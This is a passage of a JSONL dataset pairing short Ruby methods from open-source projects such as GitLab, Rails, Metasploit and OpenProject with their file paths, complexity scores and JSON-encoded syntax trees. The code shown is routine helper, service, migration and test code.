"children\":[{\"type\":\"send\",\"children\":[null,\"add_silencer\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"APP_DIRS_PATTERN\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},\"!\"]}]}]}]}","id":"137b4fe9-476d-4a48-9453-8ac2a2d70208"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/customer_relations/contacts/base_service.rb","start_line":8,"raw_source":"def allowed?\n        current_user&.can?(:admin_crm_contact, group)\n      end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"admin_crm_contact\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}","id":"e8f35690-bc1a-4952-b241-10b262dbaa37"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/server.rb","start_line":67,"raw_source":"def inspect\n    resources_str = resources.keys.map{|r| r.inspect }.join \", \"\n\n    \"#<#{self.class} http#{ssl ? \"s\" : \"\"}://#{listen_host}:#{listen_port} [ #{resources_str} ]>\"\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resources_str\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\"]},\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"inspect\"]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" http\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"s\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"listen_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"listen_port\"]}]},{\"type\":\"str\",\"children\":[\" [ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources_str\"]}]},{\"type\":\"str\",\"children\":[\" ]>\"]}]}]}]}","id":"566f60f2-5d32-46e7-82bb-727a7fce3118"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/number_helper_test.rb","start_line":192,"raw_source":"def test_to_rounded_with_custom_delimiter_and_separator\n        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|\n          assert_equal \"31,83\",       number_helper.number_to_rounded(31.825, precision: 2, separator: \",\")\n          assert_equal \"1.231,83\",    number_helper.number_to_rounded(1231.825, precision: 2, separator: \",\", delimiter: \".\")\n        end\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_rounded_with_custom_delimiter_and_separator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_with_helpers\"]},{\"type\":\"const\",\"children\":[null,\"TestClassWithClassNumberHelpers\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number_helper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"31,83\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_rounded\",{\"type\":\"float\",\"children\":[31.825]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"separator\"]},{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1.231,83\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_rounded\",{\"type\":\"float\",\"children\":[1231.825]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"separator\"]},{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delimiter\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]}]}]}","id":"da1ad2cf-3953-4042-8127-bf6c8120001c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_helper.rb","start_line":512,"raw_source":"def gitlab_ui_form_for(record, *args, &block)\n    options = args.extract_options!\n\n    form_for(record, *(args << options.merge({ builder: ::Gitlab::FormBuilders::GitlabUiFormBuilder })), &block)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_ui_form_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"extract_options!\"]}]},{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"builder\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"FormBuilders\"]},\"GitlabUiFormBuilder\"]}]}]}]}]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"d7d1ae7c-9915-46ff-a34e-ea74434638fa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/wordpress/uris.rb","start_line":15,"raw_source":"def wordpress_url_post(post_id)\n    normalize_uri(target_uri.path, \"?p=#{post_id}\")\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wordpress_url_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_id\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?p=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_id\"]}]}]}]}]}","id":"a1d72f61-7cd6-49a7-82f2-d78a79187515"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todos/allowed_target_filter_service.rb","start_line":23,"raw_source":"def projects\n      @projects ||= Project.id_in(@todos.map(&:project_id).compact)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@projects\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"id_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@todos\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]},\"compact\"]}]}]}]}","id":"7558225e-77bf-4f40-b96b-a07d6eaf205f"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120813042912_rename_expression_columns_in_posts.rb","start_line":4,"raw_source":"def change\n    rename_column \"posts\", \"expression1_count\", \"off_topic_count\"\n    rename_column \"posts\", \"expression2_count\", \"offensive_count\"\n    rename_column \"posts\", \"expression3_count\", \"like_count\"\n    remove_column \"posts\", \"expression4_count\"\n    remove_column \"posts\", \"expression5_count\"\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"str\",\"children\":[\"expression1_count\"]},{\"type\":\"str\",\"children\":[\"off_topic_count\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"str\",\"children\":[\"expression2_count\"]},{\"type\":\"str\",\"children\":[\"offensive_count\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"str\",\"children\":[\"expression3_count\"]},{\"type\":\"str\",\"children\":[\"like_count\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"str\",\"children\":[\"expression4_count\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"str\",\"children\":[\"expression5_count\"]}]}]}]}","id":"028823fa-ce3f-464e-aee2-1639a749f1a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/enterprise_token.rb","start_line":182,"raw_source":"def expired?(reprieve: true)\n    token_object.expired?(reprieve:)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expired?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"reprieve\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token_object\"]},\"expired?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reprieve\"]},{\"type\":\"lvar\",\"children\":[\"reprieve\"]}]}]}]}]}","id":"2d5bc467-88e1-4aaf-80c1-9c25c75ca135"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/wp/attributes.rb","start_line":87,"raw_source":"def write_inline_error(text)\n    style = styles.inline_error\n    with_margin(styles.markdown_field_label_margins) do\n      pdf.formatted_text([style.merge({ text: })], style)\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"write_inline_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"inline_error\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_margin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"markdown_field_label_margins\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"formatted_text\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"style\"]}]}]}]}]}","id":"5fa5176b-ea7d-400f-969d-faaa7abdc66d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/content_security_policy.rb","start_line":75,"raw_source":"def s3_hostname_host\n    host_to_url ENV.fetch('S3_HOSTNAME', nil)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"s3_hostname_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"host_to_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"S3_HOSTNAME\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"a65b4f0b-944e-429b-8871-d5f0ce7e07ba"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/controllers/bim/ifc_models/ifc_models_controller.rb","start_line":156,"raw_source":"def update\n        combined_params = permitted_model_params\n                              .to_h\n                              .reverse_merge(project: @project)\n\n        service_result = ::Bim::IfcModels::UpdateService\n                             .new(user: current_user, model: @ifc_model)\n                             .call(combined_params)\n\n        @ifc_model = service_result.result\n\n        if service_result.success?\n          flash[:notice] = t(:notice_successful_update)\n          redirect_to action: :index\n        else\n          render action: :edit, status: :unprocessable_entity\n        end\n      end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"combined_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_model_params\"]},\"to_h\"]},\"reverse_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Bim\"]},\"IfcModels\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@ifc_model\"]}]}]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"combined_params\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ifc_model\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_update\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"edit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"8dff18a1-ee9b-43de-bdaa-2fd15940ebb6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template.rb","start_line":273,"raw_source":"def create_tasks_for_service(service_task, parent_svc)\n    unless parent_svc\n      return [] unless self.class.include_service_template?(service_task,\n                                                            service_task.source_id,\n                                                            parent_svc)\n    end\n    svc = create_service(service_task, parent_svc)\n\n    service_task.destination = svc\n\n    create_subtasks(service_task, svc)\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_tasks_for_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_task\"]},{\"type\":\"arg\",\"children\":[\"parent_svc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_svc\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"include_service_template?\",{\"type\":\"lvar\",\"children\":[\"service_task\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_task\"]},\"source_id\"]},{\"type\":\"lvar\",\"children\":[\"parent_svc\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"svc\",{\"type\":\"send\",\"children\":[null,\"create_service\",{\"type\":\"lvar\",\"children\":[\"service_task\"]},{\"type\":\"lvar\",\"children\":[\"parent_svc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_task\"]},\"destination=\",{\"type\":\"lvar\",\"children\":[\"svc\"]}]},{\"type\":\"send\",\"children\":[null,\"create_subtasks\",{\"type\":\"lvar\",\"children\":[\"service_task\"]},{\"type\":\"lvar\",\"children\":[\"svc\"]}]}]}]}","id":"978e0509-610f-4df4-b4cc-97aaa900a6f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/be_success_matcher.rb","start_line":45,"raw_source":"def on_send(node)\n          return unless be_success_usage?(node)\n\n          add_offense(node, message: MESSAGE) do |corrector|\n            corrector.insert_after(node, 'ful')\n          end\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"be_success_usage?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MESSAGE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"str\",\"children\":[\"ful\"]}]}]}]}]}","id":"3e51720d-63e6-4718-8bef-1df675e9b58e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/notification_recipient.rb","start_line":28,"raw_source":"def notification_level\n    @notification_level ||= notification_setting&.level&.to_sym\n  end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"notification_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@notification_level\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_setting\"]},\"level\"]},\"to_sym\"]}]}]}","id":"4ee4a83c-a57c-4940-9003-06d5b57216f9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/branch_rules/squash_options/update_service.rb","start_line":16,"raw_source":"def execute\n          return ServiceResponse.error(message: AUTHORIZATION_ERROR_MESSAGE) unless authorized?\n\n          if branch_rule.is_a?(::Projects::AllBranchesRule)\n            execute_on_all_branches_rule\n          else\n            execute_on_branch_rule\n          end\n        end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"AUTHORIZATION_ERROR_MESSAGE\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch_rule\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"AllBranchesRule\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_on_all_branches_rule\"]},{\"type\":\"send\",\"children\":[null,\"execute_on_branch_rule\"]}]}]}]}","id":"45a2e0d2-74a3-4e88-b54b-6679e7d99283"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":372,"raw_source":"def test_should_work_with_update_as_well\n    @pirate.update(catchphrase: \"Arr\", ship_attributes: { id: @ship.id, name: \"Mister Pablo\" })\n    @pirate.reload\n\n    assert_equal \"Arr\", @pirate.catchphrase\n    assert_equal \"Mister Pablo\", @pirate.ship.name\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_work_with_update_as_well\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Arr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ship_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Mister Pablo\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Arr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"catchphrase\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Mister Pablo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"ship\"]},\"name\"]}]}]}]}","id":"9f7de1fb-e720-45ec-af1f-e63001c1c7bf"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_runner_upgrader.rb","start_line":28,"raw_source":"def initialize\n      @source_swift_code_file_folder_path = File.expand_path(File.join(Fastlane::ROOT, \"/swift\"))\n      @target_swift_code_file_folder_path = FastlaneCore::FastlaneFolder.swift_folder_path\n\n      Fastlane::Setup.setup_swift_support\n\n      manifest_file = File.join(@source_swift_code_file_folder_path, \"/upgrade_manifest.json\")\n      UI.success(\"loading manifest: #{manifest_file}\")\n      @manifest_hash = JSON.parse(File.read(manifest_file))\n      @manifest_groups = @manifest_hash.values.uniq\n\n      runner_project_path = FastlaneCore::FastlaneFolder.swift_runner_project_path\n      @target_project = Xcodeproj::Project.open(runner_project_path)\n\n      @root_group = @target_project.groups.select { |group| group.name == \"Fastlane Runner\" }.first\n\n      @fastlane_runner_target = @target_project.targets.select { |target| target.name == \"FastlaneRunner\" }.first\n    end","complexity_score":36.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source_swift_code_file_folder_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"ROOT\"]},{\"type\":\"str\",\"children\":[\"/swift\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_swift_code_file_folder_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"FastlaneFolder\"]},\"swift_folder_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Setup\"]},\"setup_swift_support\"]},{\"type\":\"lvasgn\",\"children\":[\"manifest_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@source_swift_code_file_folder_path\"]},{\"type\":\"str\",\"children\":[\"/upgrade_manifest.json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"loading manifest: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manifest_file\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@manifest_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"manifest_file\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@manifest_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@manifest_hash\"]},\"values\"]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"runner_project_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"FastlaneFolder\"]},\"swift_runner_project_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Xcodeproj\"]},\"Project\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"runner_project_path\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@root_group\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_project\"]},\"groups\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Fastlane Runner\"]}]}]},\"first\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@fastlane_runner_target\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_project\"]},\"targets\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"FastlaneRunner\"]}]}]},\"first\"]}]}]}]}","id":"d3c643ea-08a8-4aa7-9892-5f5409d1d90a"}
